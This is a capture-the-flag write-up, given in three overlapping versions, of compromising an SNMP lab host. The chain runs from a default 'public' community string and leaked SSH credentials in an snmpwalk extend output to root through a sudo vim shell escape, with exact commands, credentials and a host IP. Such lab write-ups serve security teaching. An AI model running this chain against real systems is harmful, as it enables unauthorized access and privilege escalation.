Walkabout (SNMP-Lab): A Real-World Walkthrough from Recon to Root as a Zero

Yuthan's Note:

This is a step-by-step account of my process for compromising the Walkabout SNMP lab. It includes the dead ends, wrong guesses, and moments of "where the hell are the creds?" that define real enumeration. SNMP was completely new territory for me - I didn't know what a MIB was when I started. This walkthrough reflects that honest starting point.

Phase 1: Reconnaissance - Learning That UDP Exists

My TCP scan immediately found SSH on port 30503. But port 30504 showed "filtered" - a dead end on TCP.

nmap -sV -p 30503,30504 23.92.29.178

30503/tcp open     ssh     OpenSSH 8.2p1 Ubuntu
30504/tcp filtered unknown

The lab description mentioned SNMP, and I knew (from reading) that SNMP lives on UDP. So I ran a UDP scan:

nmap -sU -p 30504 23.92.29.178

30504/udp open|filtered unknown

Here's something that confused me initially: open|filtered doesn't mean "maybe closed." It means nmap sent a probe but got no response - and with UDP there's no handshake to confirm. SNMP specifically won't respond unless you speak its language (provide a valid community string). So this result was actually a strong positive signal.

Phase 2: Brute-Forcing the Community String

A community string is basically SNMP's version of a password - except it's sent in plaintext over UDP. If you guess it, you get full read access to everything the device exposes.

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 23.92.29.178 -p 30504

23.92.29.178 [public] Linux snmp-lab-76fb5bff54-b9pn5 6.1.0-44-cloud-amd64 ...

The community string was public - the factory default. The admin never changed it. This is the SNMP equivalent of leaving your Wi-Fi password as admin.

Phase 3: The Long Search for Credentials

This is where I spent the most time and made the most wrong turns. With the community string in hand, I walked the entire MIB tree:

snmpwalk -v2c -c public 23.92.29.178:30504 > snmp_full_dump.txt

The dump was 1660 lines and 93KB. I grepped for the obvious:

grep -i "user\|pass\|login\|secret" snmp_full_dump.txt

Result: Nothing useful. Just package names like adduser, base-passwd, login. I was frustrated - where are the credentials?

I tried grepping for extend and nsExtend (I'd been told this is where creds hide):

grep -i "extend\|nsExtend" snmp_full_dump.txt

Result: Empty. At this point I was genuinely stuck. The standard SNMP tree had no credentials.

Mistake #1: Trying SSH Without Proper Creds

While waiting for ideas, I tried brute-guessing SSH access:

ssh root@23.92.29.178 -p 30503    # Password: public → DENIED
ssh admin@23.92.29.178 -p 30503   # DENIED
ssh snmp@23.92.29.178 -p 30503    # DENIED

None worked. The community string wasn't a valid SSH password, and common usernames didn't exist. I was fishing without bait.

Mistake #2: The awk Command That Produced Garbage

I tried to analyse which OID branches were populated:

awk -F'.' '{print $1"."$2"."$3"."$4"."$5"."$6"."$7"."$8}' snmp_full_dump.txt | sort -u

This dumped the entire file's OID prefixes but wasn't useful - just a wall of numbers with no actionable insight. Wrong tool for the job.

The Breakthrough: Walking the Enterprise Branch Separately

The key realisation was that my full dump only contained the standard MIB-II tree (1.3.6.1.2.1.*). The private enterprise tree - where admins put custom data - lives under a completely different branch:

snmpwalk -v2c -c public 23.92.29.178:30504 1.3.6.1.4.1 > snmp_enterprise_dump.txt

This took a while to complete. When it finished, I grepped for strings:

grep "STRING:" snmp_enterprise_dump.txt

And there it was - buried among hundreds of MIB registration entries:

iso.3.6.1.4.1.8072.1.3.2.2.1.2.9.115.115.104.45.99.114.101.100.115 = STRING: "/usr/local/bin/snmp-creds.sh"
iso.3.6.1.4.1.8072.1.3.2.3.1.1.9.115.115.104.45.99.114.101.100.115 = STRING: "ssh_user=labuser ssh_pass=Snmp2SSH!"

What happened: The admin had configured a script in snmpd.conf using the extend directive. That script literally prints SSH credentials as its output - and anyone with the community string public can read it. The OID path 8072.1.3 is the NET-SNMP-EXTEND table, and the numbers 115.115.104.45.99.114.101.100.115 are ASCII for ssh-creds (the script's registered name).

The reason my earlier grep -i "extend" failed is because the word "extend" doesn't appear literally in the OID output - it's encoded in the numeric OID structure itself. The lesson: you can't grep for "extend" - you need to walk the right branch and read the STRING values.

Phase 4: Foothold - SSH Access

ssh labuser@23.92.29.178 -p 30503
# Password: Snmp2SSH!

I was in.

cat ~/user.txt
# flag{snmp_extend_cred_leak}

The flag name confirmed exactly what I'd exploited: credentials leaking through SNMP's extend feature.

Phase 5: Privilege Escalation

First command after getting a shell - always check what you can already do as root:

sudo -l

(root) NOPASSWD: /usr/bin/vim

This was the escalation - no need to hunt further. The user can run vim as root without a password.

I also ran the SUID check for completeness:

find / -perm -4000 -type f 2>/dev/null

All standard binaries (passwd, su, mount, etc.) - nothing exploitable. Confirmed that sudo was the intended path.

Mistake #3: Trying su root Before Thinking

Out of habit, I tried switching to root directly:

su root
# su: Authentication failure

Of course this failed - I don't know root's password. But sudo -l had already given me the answer. The lesson: don't try to brute-force your way through a locked door when you're already holding a different key.

The Exploit:

Vim can spawn shells. If vim is running as root (via sudo), the shell inherits root privileges:

sudo /usr/bin/vim -c ':!bash'

The -c flag tells vim to execute a command on startup. :!bash is vim's syntax for "run an external command" - in this case, spawning a bash shell. Since vim is running as root, bash inherits UID 0.

whoami
# root

cat /root/root.txt
# flag{root_via_sudo_vim}

Machine fully compromised.

Phase 6: What I Learned (The "Why")

This machine taught me three things I won't forget:

1. The MIB tree has two worlds.

The standard branch (1.3.6.1.2.1) is public system information - interfaces, packages, uptime. The enterprise branch (1.3.6.1.4.1) is where humans put their custom, often sensitive, data. I spent 20 minutes grepping the wrong tree because I didn't understand this distinction.

2. SNMP is more dangerous than it looks.

From the outside, SNMP seems like a boring monitoring protocol. But with a single default community string, an attacker can read running processes, installed software, network configuration, and - as this box showed - actual credentials injected by admins who didn't think anyone would query those OIDs.

3. Interactive programs with sudo = instant root.

Any program that can spawn a shell (vim, less, python, find, awk, man) becomes a privilege escalation vector when it has sudo access. The fix is the NOEXEC tag in sudoers - but most admins don't know it exists.

For Defenders:

Final Thoughts

Walkabout took me longer than it should have - not because the techniques were hard, but because I was searching the wrong tree (literally). The attack chain itself is elegant: one default password (public) unlocks a protocol that reveals another password (Snmp2SSH!), which lands you on a box where root is one vim command away.

The real skill wasn't running the tools. It was knowing when I was looking in the wrong place and pivoting to the enterprise OID branch. That's the difference between someone who copies commands and someone who understands the architecture underneath.

Walkthrough: Walkabout

Challenge Description:
A lightly monitored Linux host exposes SSH and SNMP services. Abuse a publicly accessible SNMP configuration to enumerate internal monitoring extensions, recover leaked SSH credentials, gain shell access, and escalate privileges through an unsafe sudo configuration.

1. Enumeration

Initial scanning reveals two exposed services:

• 30503/tcp → SSH
• 30504/udp → SNMP

Port Scan

nmap -sV -p 30503,30504 23.92.29.178
nmap -sU -p 30504 23.92.29.178

Results

30503/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
30504/udp open|filtered unknown

The challenge description strongly hints toward SNMP exposure:

“network monitoring node”
“interface stats, process lists”
“reports faithfully to whoever asks”

This suggests the intended attack surface is SNMP enumeration.

2. Verifying SNMP Access

Attempt SNMP enumeration using the default community string:

snmpwalk -v2c -c public udp:23.92.29.178:30504 1

Why this works

SNMP v2c relies on plaintext community strings for authentication.
The default public community commonly provides read-only access when misconfigured.

Result

The command returned a large amount of system information, confirming:

• SNMP access is enabled
• The public community string is valid
• Internal host monitoring data is exposed

3. Enumerating Running Processes

Enumerate running process names:

snmpwalk -v2c -c public udp:23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.2

Why this works

This OID maps to:

HOST-RESOURCES-MIB::hrSWRunName

which exposes active process names through SNMP.

Result

start.sh
sshd
snmpd

The custom process:

start.sh

stands out and suggests custom initialization or monitoring logic.

4. Enumerating Process Paths and Parameters

Retrieve process arguments:

snmpwalk -v2c -c public udp:23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.5

Result

/start.sh

Retrieve executable paths:

snmpwalk -v2c -c public udp:23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.4

Result

/bin/bash

This strongly suggests the host launches:

/bin/bash /start.sh

meaning a custom shell script initializes the container.

Custom monitoring scripts often expose operational secrets, making Net-SNMP extensions worth investigating.

5. Enumerating NET-SNMP Extensions

Query the Net-SNMP extension tree:

snmpwalk -v2c -c public udp:23.92.29.178:30504 1.3.6.1.4.1.8072.1.3.2

Why this works

Net-SNMP supports the extend directive, allowing administrators to expose command output through SNMP.

Example:

extend ssh-creds /usr/local/bin/snmp-creds.sh

If SNMP is publicly accessible, these commands and outputs may leak sensitive data.

Result

The enumeration revealed:

/usr/local/bin/snmp-creds.sh

and more importantly:

ssh_user=la....r
ssh_pass=S.....!

Why this matters

This is a direct credential disclosure vulnerability caused by:

• exposed SNMP service
• weak default community string
• unsafe monitoring extensions

The monitoring node unintentionally leaks valid SSH credentials.

6. Initial Access via SSH

Use the recovered credentials to log in:

ssh -p 30503 labuser@23.92.29.178

Password

S.....!

Result

After authentication:

whoami

Output:

labuser

Initial shell access obtained.

7. Capturing the User Flag

Enumerate the home directory:

ls

Result

user.txt

Read the user flag:

cat user.txt

Result

flag{...._...._...._....}

8. Privilege Escalation Enumeration

Check sudo permissions:

sudo -l

Result

(root) NOPASSWD: /usr/bin/vim

Why this matters

This is a dangerous sudo misconfiguration.

The user can execute Vim as root without supplying a password.

Vim supports shell escapes, meaning arbitrary commands can be executed with root privileges.

This is a classic GTFOBins privilege escalation vector.

9. Privilege Escalation to Root

Launch Vim as root and execute a shell:

sudo vim -c ':!/bin/bash'

Why this works

The command:

:!/bin/bash

uses Vim’s shell escape functionality.

Since Vim runs as root via sudo, the spawned shell inherits:

uid=0(root)

Verification

id
whoami

Result

uid=0(root)
root

Root shell obtained.

10. Capturing the Root Flag

Read the root flag:

cat /root/root.txt

Result

flag{...._...._...._....}

Attack Path Summary

1. Enumerated exposed services
2. Identified publicly accessible SNMP
3. Confirmed default public SNMP community access
4. Enumerated monitored processes
5. Investigated Net-SNMP extensions
6. Retrieved leaked SSH credentials from SNMP extend output
7. Logged in via SSH as labuser
8. Enumerated sudo permissions
9. Abused Vim shell escape for root access
10. Captured both flags

Key Takeaways

1. Default SNMP Community Strings Are Dangerous
   Publicly accessible SNMP communities expose sensitive host telemetry and operational data.

2. Net-SNMP Extend Directives Can Leak Secrets
   Monitoring extensions should never expose credentials or sensitive scripts.

3. Operational Monitoring Often Becomes an Attack Surface
   Internal monitoring mechanisms frequently contain privileged information not intended for external access.

4. Credential Reuse Enables Fast Compromise
   Reusing monitoring credentials for SSH access led directly to shell access.

5. Unsafe sudo Configurations Lead to Immediate Root Access
   Allowing interactive editors such as Vim through sudo creates trivial privilege escalation paths.

6. GTFOBins Techniques Remain Highly Effective
   Legitimate administrative tools frequently provide shell escape functionality exploitable during privilege escalation.

Walkabout Walkthrough

Step 1 — Initial Service Enumeration

Begin by identifying the exposed services on the target:

nmap -sC -sV -p 30503 23.92.29.178
nmap -sU -sV -p 30504 23.92.29.178
Why this works
-sC runs default NSE scripts for basic enumeration.
-sV detects service versions.
-sU performs UDP scanning, required because SNMP uses UDP.
Findings

The scan revealed:

30503/tcp — OpenSSH 8.2p1
30504/udp — SNMP (net-snmp)

Nmap also reported:

SNMPv1 server; net-snmp SNMPv3 server (public)

This is highly significant because public is the default SNMP community string, effectively functioning as a weak shared password for read access.

This aligns directly with the challenge description:

“network monitoring node”
“interface stats, process lists”
“reports faithfully to whoever asks”

indicating SNMP exposure is the intended attack surface.

Step 2 — Verify SNMP Access

Test SNMP enumeration using the exposed community string:

snmpwalk -v2c -c public 23.92.29.178:30504
Why this works

snmpwalk recursively queries the SNMP Management Information Base (MIB), dumping available monitored host data.

Because SNMP v2c uses plaintext community strings for access control, a default public string allows unauthenticated read access if misconfigured.

Result

The command returned extensive output, confirming unrestricted SNMP read access.

At this point we know the monitoring service is exposing internal host information.

Step 3 — Enumerate Running Processes

Query the process list specifically:

snmpwalk -v2c -c public 23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.2
Why this works

This OID maps to:

HOST-RESOURCES-MIB::hrSWRunName

which exposes running process names.

Monitoring systems commonly leak:

service names
custom scripts
monitoring agents
Findings
start.sh
sshd
snmpd

The custom process:

start.sh

is particularly interesting, suggesting environment initialization logic or custom monitoring scripts.

Step 4 — Enumerate Process Paths and Parameters

Retrieve executable paths:

snmpwalk -v2c -c public 23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.5

Result:

/start.sh

Then retrieve process arguments:

snmpwalk -v2c -c public 23.92.29.178:30504 1.3.6.1.2.1.25.4.2.1.4

Result:

/bin/bash
Why this matters

Combining these findings strongly suggests:

/bin/bash /start.sh

meaning a custom shell startup script initializes the host.

Custom startup scripts frequently contain:

credential provisioning
environment secrets
monitoring logic

This makes the monitoring extensions worth investigating.

Step 5 — Enumerate NET-SNMP Extensions

Query Net-SNMP custom extension objects:

snmpwalk -v2c -c public 23.92.29.178:30504 1.3.6.1.4.1.8072.1.3.2
Why this works

Net-SNMP supports extend directives, allowing administrators to expose shell script output via SNMP.

Example configuration:

extend ssh-creds /usr/local/bin/snmp-creds.sh

This is useful for operational monitoring—but dangerous if externally exposed.

If read access exists, anyone can retrieve the command output.

Findings

The enumeration revealed:

/usr/local/bin/snmp-creds.sh

and more critically:

ssh_user=labuser ssh_pass=Snmp2SSH!
Why this matters

This is a direct credential disclosure caused by:

exposed SNMP service
weak default community string
unsafe custom monitoring extension

The monitoring node is literally disclosing SSH credentials to unauthenticated users.

Step 6 — Initial Access via SSH

Use the recovered credentials:

ssh -p 30503 labuser@23.92.29.178

Password:

Snmp2SSH!
Why this works

CTF systems commonly reuse service credentials for system access.

Since SSH is exposed and the credentials are valid, this provides stable interactive shell access.

Result
whoami

Output:

labuser

Initial foothold established.

Step 7 — Privilege Escalation Enumeration

Check sudo permissions:

sudo -l
Findings
(root) NOPASSWD: /usr/bin/vim
Why this matters

This is a dangerous sudo misconfiguration.

NOPASSWD means the user can execute the allowed binary as root without authentication.

Vim is not merely a text editor—it supports shell escapes.

If Vim runs as root, any spawned shell inherits root privileges.

Step 8 — Privilege Escalation to Root

Exploit the sudo permission:

sudo vim -c ':!/bin/bash'
Why this works

This launches Vim as root and immediately executes:

/bin/bash

using Vim’s shell escape functionality.

Because the parent process is root, the spawned shell inherits:

uid=0

This is a classic GTFOBins privilege escalation path.

Verification
whoami
id

Output:

root
uid=0(root)

Root access obtained.

Step 9 — Capture Flags

Retrieve the user flag:

cat /home/labuser/user.txt

Retrieve the root flag:

cat /root/root.txt
Result

Successfully captured:

user flag
root flag
Attack Path Summary
Enumerated exposed services
Identified publicly accessible SNMP
Confirmed weak default SNMP community access
Enumerated monitored processes
Identified custom monitoring extensions
Retrieved SSH credentials from exposed SNMP extend script
Logged in via SSH as labuser
Enumerated sudo privileges
Abused root-run Vim shell escape
Captured both flags